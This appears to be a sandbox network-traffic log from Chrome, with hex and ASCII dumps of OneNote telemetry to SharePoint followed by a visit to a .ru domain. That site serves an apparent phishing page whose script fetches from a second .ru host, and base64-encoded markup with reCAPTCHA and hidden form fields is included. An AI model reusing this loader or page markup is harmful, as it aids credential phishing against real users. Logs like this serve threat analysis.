2024-04-26 07:59:44 UTC	16383	IN	Data Raw: 2c 74 2e 5f 5f 6f 72 64 65 72 2e 70 75 73 68 28 72 29 29 3b 66 6f 72 28 76 61 72 20 69 3d 30 2c 73 3d 65 3b 69 3c 73 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 76 61 72 20 75 3d 73 5b 69 5d 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 75 29 7b 76 61 72 20 6c 3d 6e 2e 61 72 67 73 46 72 6f 6d 43 6c 61 73 73 4e 61 6d 65 28 75 29 3b 6c 26 26 43 28 6c 2c 74 2c 72 29 7d 65 6c 73 65 20 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 75 29 29 43 28 75 2c 74 2c 72 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 63 20 69 6e 20 75 29 69 66 28 75 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 63 29 29 7b 76 61 72 20 64 3d 75 5b 63 5d 3b 69 66 28 22 73 65 6c 65 63 74 6f 72 73 22 3d 3d 3d 63 29 7b 76 61 72 20 70 3d 75 2e 73 65 6c 65 63 74 6f 72 73 3b 66 Data Ascii: ,t.__order.push(r));for(var i=0,s=e;i<s.length;i++){var u=s[i];if("string"==typeof u){var l=n.argsFromClassName(u);l&&C(l,t,r)}else if(Array.isArray(u))C(u,t,r);else for(var c in u)if(u.hasOwnProperty(c)){var d=u[c];if("selectors"===c){var p=u.selectors;f
2024-04-26 07:59:44 UTC	16383	IN	Data Raw: 6f 2c 61 2c 69 2c 73 29 7b 72 65 74 75 72 6e 20 63 65 28 65 2c 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 74 26 26 74 3f 74 3a 7b 69 6e 73 65 74 3a 74 2c 70 6f 73 69 74 69 6f 6e 3a 72 2c 68 69 67 68 43 6f 6e 74 72 61 73 74 53 74 79 6c 65 3a 6e 2c 62 6f 72 64 65 72 43 6f 6c 6f 72 3a 6f 2c 6f 75 74 6c 69 6e 65 43 6f 6c 6f 72 3a 61 2c 69 73 46 6f 63 75 73 65 64 4f 6e 6c 79 3a 69 2c 62 6f 72 64 65 72 52 61 64 69 75 73 3a 73 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 2c 74 29 7b 76 61 72 20 72 2c 6e 3b 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 7b 7d 29 3b 76 61 72 20 6f 3d 74 2e 62 6f 72 64 65 72 52 61 64 69 75 73 2c 61 3d 74 2e 69 6e 73 65 74 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 61 3f 30 3a 61 2c 73 3d 74 2e 77 69 64 74 68 2c 75 3d 76 6f 69 64 Data Ascii: o,a,i,s){return ce(e,"number"!=typeof t&&t?t:{inset:t,position:r,highContrastStyle:n,borderColor:o,outlineColor:a,isFocusedOnly:i,borderRadius:s})}function ce(e,t){var r,n;void 0===t&&(t={});var o=t.borderRadius,a=t.inset,i=void 0===a?0:a,s=t.width,u=void
2024-04-26 07:59:44 UTC	6	IN	Data Raw: 22 7a 68 2d 68 61 Data Ascii: "zh-ha
2024-04-26 07:59:44 UTC	16383	IN	Data Raw: 6e 74 22 3a 50 2e 43 68 69 6e 65 73 65 54 72 61 64 69 74 69 6f 6e 61 6c 2c 68 79 3a 50 2e 41 72 6d 65 6e 69 61 6e 2c 6b 61 3a 50 2e 47 65 6f 72 67 69 61 6e 7d 3b 66 75 6e 63 74 69 6f 6e 20 52 28 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 7b 66 6f 6e 74 46 61 6d 69 6c 79 3a 72 2c 4d 6f 7a 4f 73 78 46 6f 6e 74 53 6d 6f 6f 74 68 69 6e 67 3a 22 67 72 61 79 73 63 61 6c 65 22 2c 57 65 62 6b 69 74 46 6f 6e 74 53 6d 6f 6f 74 68 69 6e 67 3a 22 61 6e 74 69 61 6c 69 61 73 65 64 22 2c 66 6f 6e 74 53 69 7a 65 3a 65 2c 66 6f 6e 74 57 65 69 67 68 74 3a 74 7d 7d 76 61 72 20 4f 2c 48 2c 56 2c 57 3d 72 28 34 35 36 33 29 2c 7a 3d 72 28 32 36 30 39 29 2c 55 3d 28 4f 3d 28 30 2c 57 2e 47 29 28 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 20 69 6e 20 Data Ascii: nt":P.ChineseTraditional,hy:P.Armenian,ka:P.Georgian};function R(e,t,r){return{fontFamily:r,MozOsxFontSmoothing:"grayscale",WebkitFontSmoothing:"antialiased",fontSize:e,fontWeight:t}}var O,H,V,W=r(4563),z=r(2609),U=(O=(0,W.G)(),H=function(e){for(var t in

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49971	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:49 UTC	1174	OUT	POST /o/RemoteUls.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&officeserverversion=20240424.1 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 1174 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
2024-04-26 07:59:49 UTC	1174	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 35 37 38 37 38 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 37 31 34 37 31 35 2c 22 54 22 3a 33 35 35 30 2c 22 4d 22 3a 22 52 65 63 65 69 76 65 64 20 6d 65 73 73 61 67 65 49 64 3a 20 41 70 70 5f 53 61 76 65 48 6f 73 74 55 74 69 6c 73 44 61 74 61 2c 20 63 6f 72 72 65 6c 61 74 69 6f 6e 3a 20 34 31 65 66 35 35 35 36 2d 62 36 62 30 2d 34 65 30 66 2d 38 65 34 38 2d 66 65 65 33 65 32 37 35 66 63 30 62 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 36 34 36 34 32 38 38 2c 22 54 22 3a 33 35 35 30 2c 22 4d 22 3a 22 50 72 6f 63 65 73 73 69 6e 67 20 6d 65 73 73 61 67 65 3a 20 41 70 70 5f 53 61 76 65 48 6f 73 74 55 74 69 6c 73 44 61 74 61 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 Data Ascii: {"T":1714118357878,"L":[{"G":595714715,"T":3550,"M":"Received messageId: App_SaveHostUtilsData, correlation: 41ef5556-b6b0-4e0f-8e48-fee3e275fc0b","C":379,"D":50},{"G":596464288,"T":3550,"M":"Processing message: App_SaveHostUtilsData","C":379,"D":50},{"G"
2024-04-26 07:59:49 UTC	4418	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 01ec7b56-fe40-4c9c-ae00-f08db6eb42ca X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: BL6PEPF0001A284 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS13 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5d&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BL6PEPF0001A284 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 0A4E0CAF835B46F29A7711DF95734B5E Ref B: MIA301000107027 Ref C: 2024-04-26T07:59:49Z Date: Fri, 26 Apr 2024 07:59:49 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49974	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:50 UTC	1173	OUT	POST /o/RemoteUls.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&officeserverversion=20240424.1 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 189 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
2024-04-26 07:59:50 UTC	189	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 38 37 38 38 38 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 31 36 36 37 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 68 69 64 64 65 6e 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 64 31 39 65 30 35 34 31 2d 35 39 63 35 2d 39 61 35 65 2d 38 65 31 30 2d 31 38 64 65 32 32 63 39 31 35 33 66 22 2c 22 49 22 3a 35 2c 22 56 22 3a 31 7d Data Ascii: {"T":1714118387888,"L":[{"G":595957843,"T":1667,"M":"Page lifecycle: VisibilityChange_hidden fired, flushing logger","C":379,"D":50}],"S":"d19e0541-59c5-9a5e-8e10-18de22c9153f","I":5,"V":1}
2024-04-26 07:59:51 UTC	4416	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 78ded82d-3eea-4420-8abb-f67d0564e0ab X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: BN3PEPF00001F70 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5a&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BN3PEPF00001F70 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_excelslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 5921D728034946498DD6D8BD65D3C34C Ref B: MIA301000102051 Ref C: 2024-04-26T07:59:50Z Date: Fri, 26 Apr 2024 07:59:50 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49975	172.67.173.130	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:51 UTC	646	OUT	GET /1L9z9v39/ HTTP/1.1 Host: 4odq.cxnev1.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:51 UTC	1007	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 07:59:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nlakBEkMZQtqGpHg9vr1zKJPvnafZzP%2BcjlIzNc7PRqHV8JosFuUGxz%2Fb7w%2FQoJujEK9yGhgZbBRBzF2Qhf8X5CRNBcY40qyNqIVH0hWatKc7Xxcl2hC0P%2BuesQaqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6InFNR1c0ZU5jUjJqZkRoa3NtcU1jaXc9PSIsInZhbHVlIjoia2hKZ2JIWXVkaGF3VzZsbFBuVS9sOTRJdVdEY3BsclFYdVVTMGI4RnlXSUJVOUhSMEN1SnNCTUlKdTNBemxrVVlEOFFVMEdTNm5vMjlmbjNDVXErYWcvQ1VtdEFzN3pOY3hWUkdETWRGb2QxbEpPdzhLMFZNQURqc0E5WTB6YnMiLCJtYWMiOiIxZDFhYjFlYjA3NTNkYzhlYmEyYmIzMWYyNDFmY2VjOWNiMmFiOGVkN2Q2NjAwZDUzNzA1MDc4NGExMDYzMDkxIiwidGFnIjoiIn0%3D; expires=Fri, 26-Apr-2024 09:59:51 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-26 07:59:51 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 68 72 5a 6a 64 4c 59 57 39 33 55 32 45 33 61 6b 70 58 59 58 63 32 52 45 64 42 53 6d 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 46 51 35 55 56 56 4a 5a 6e 63 33 61 30 55 77 62 56 56 79 4d 48 52 31 63 45 6c 52 4b 7a 6c 73 55 55 45 79 62 47 52 4e 61 6a 67 72 65 6c 4a 51 56 33 6b 79 4e 30 31 43 59 6d 56 7a 53 6d 59 77 61 7a 6c 49 4b 32 4e 4d 4d 58 56 59 4b 32 4a 36 57 55 78 6e 59 31 6c 4b 63 30 56 73 55 54 46 74 64 48 5a 56 51 6b 52 79 55 55 63 76 64 32 59 31 52 45 31 34 57 44 6c 32 4e 6a 56 51 53 58 64 6d 53 30 4a 35 63 32 31 31 5a 30 55 77 63 58 4a 6d 53 57 78 7a 63 57 52 46 56 57 4e 56 5a 6a 59 72 56 45 74 78 61 48 45 79 53 31 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlhrZjdLYW93U2E3akpXYXc2REdBSmc9PSIsInZhbHVlIjoiaFQ5UVVJZnc3a0UwbVVyMHR1cElRKzlsUUEybGRNajgrelJQV3kyN01CYmVzSmYwazlIK2NMMXVYK2J6WUxnY1lKc0VsUTFtdHZVQkRyUUcvd2Y1RE14WDl2NjVQSXdmS0J5c211Z0UwcXJmSWxzcWRFVWNVZjYrVEtxaHEyS1Y
2024-04-26 07:59:51 UTC	1369	IN	Data Raw: 31 61 66 31 0d 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 65 74 63 68 28 27 68 74 74 70 73 3a 2f 2f 59 4f 35 2e 36 67 6e 69 75 36 38 2e 72 75 2f 76 71 79 65 76 6d 6e 73 70 67 73 6a 67 6e 78 66 70 64 73 68 65 68 69 64 52 42 4e 61 6e 73 63 66 6a 41 45 52 58 47 43 57 45 49 44 42 55 43 4f 52 5a 46 47 52 59 49 50 4e 4f 59 45 55 42 27 2c 20 7b 0d 0a 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0d 0a 7d 29 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 7b 0d 0a 72 65 74 75 72 6e 20 72 65 73 70 6f 6e 73 65 2e 74 65 78 74 28 29 0d 0a 7d 29 2e 74 68 65 6e 28 74 65 78 74 20 3d 3e 20 7b 0d 0a 69 66 28 74 65 78 74 20 3d 3d 20 30 29 7b 0d 0a 64 6f Data Ascii: 1af1<style>body { margin: 0;}</style><script>fetch('https://YO5.6gniu68.ru/vqyevmnspgsjgnxfpdshehidRBNanscfjAERXGCWEIDBUCORZFGRYIPNOYEUB', {method: "GET",}).then(response => {return response.text()}).then(text => {if(text == 0){do
2024-04-26 07:59:51 UTC	1369	IN	Data Raw: 32 5a 30 49 46 42 6f 59 57 64 7a 55 47 45 69 4c 43 4a 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 56 47 46 70 49 45 78 6c 49 69 77 69 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 49 46 6c 70 49 45 4a 68 61 58 52 70 49 69 77 69 54 57 39 75 5a 32 39 73 61 57 46 75 49 45 4a 68 61 58 52 70 49 69 77 69 54 56 59 67 51 6d 39 73 61 53 49 73 49 6b 31 35 59 57 35 74 59 58 49 67 56 47 56 34 64 43 49 73 49 6b 4e 68 62 57 4a 79 61 57 45 67 54 57 46 30 61 43 49 37 44 51 70 39 44 51 70 69 62 32 52 35 49 48 73 4e 43 69 41 67 59 6d 46 6a 61 32 64 79 62 33 56 75 5a 43 31 6a 62 32 78 76 63 6a 6f 67 49 32 5a 6d 5a 6a 73 4e 43 69 41 67 61 47 56 70 5a 32 68 30 4f 69 41 78 4d 44 41 6c 4f 77 30 4b 49 43 42 76 64 6d 56 79 5a 6d 78 76 64 7a 6f 67 61 47 6c 6b 5a 47 56 75 4f 77 30 4b 66 51 30 4b Data Ascii: 2Z0IFBoYWdzUGEiLCJNaWNyb3NvZnQgVGFpIExlIiwiTWljcm9zb2Z0IFlpIEJhaXRpIiwiTW9uZ29saWFuIEJhaXRpIiwiTVYgQm9saSIsIk15YW5tYXIgVGV4dCIsIkNhbWJyaWEgTWF0aCI7DQp9DQpib2R5IHsNCiAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsNCiAgaGVpZ2h0OiAxMDAlOw0KICBvdmVyZmxvdzogaGlkZGVuOw0KfQ0K
2024-04-26 07:59:51 UTC	1369	IN	Data Raw: 35 30 4f 33 30 4e 43 6b 42 74 5a 57 52 70 59 53 41 6f 62 57 6c 75 4c 58 64 70 5a 48 52 6f 4f 6a 6b 35 4d 6e 42 34 4b 58 73 4e 43 69 4e 4d 51 6b 78 57 53 57 70 51 51 33 4e 4c 49 43 35 6a 62 32 77 74 62 47 63 74 4e 48 74 6d 62 47 56 34 4f 6a 41 67 4d 43 42 68 64 58 52 76 4f 33 64 70 5a 48 52 6f 4f 6a 4d 7a 4c 6a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4a 54 74 39 44 51 70 39 44 51 6f 6a 54 45 4a 4d 56 6b 6c 71 55 45 4e 7a 53 79 41 75 5a 79 31 79 5a 57 4e 68 63 48 52 6a 61 47 45 67 65 32 52 70 63 33 42 73 59 58 6b 36 49 47 6c 75 62 47 6c 75 5a 53 31 69 62 47 39 6a 61 7a 74 39 44 51 6f 6a 54 45 4a 4d 56 6b 6c 71 55 45 4e 7a 53 79 41 75 5a 47 6c 7a 63 47 78 68 65 53 30 30 49 48 74 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 49 44 45 75 4d 6a 56 79 5a 57 30 68 61 57 31 77 62 Data Ascii: 50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNMQkxWSWpQQ3NLIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojTEJMVklqUENzSyAuZy1yZWNhcHRjaGEge2Rpc3BsYXk6IGlubGluZS1ibG9jazt9DQojTEJMVklqUENzSyAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb
2024-04-26 07:59:51 UTC	1369	IN	Data Raw: 69 5a 79 31 79 5a 57 4e 68 63 48 52 6a 61 47 45 69 49 47 6c 6b 50 53 4a 6e 63 69 49 2b 50 43 39 6b 61 58 59 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 63 47 46 6e 5a 57 78 70 62 6d 73 69 49 47 35 68 62 57 55 39 49 6e 42 68 5a 32 56 73 61 57 35 72 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 61 58 41 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 70 63 43 49 67 64 6d 46 73 64 57 55 39 49 6a 45 77 4d 69 34 78 4d 6a 6b 75 4d 54 55 79 4c 6a 49 79 4d 43 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d Data Ascii: 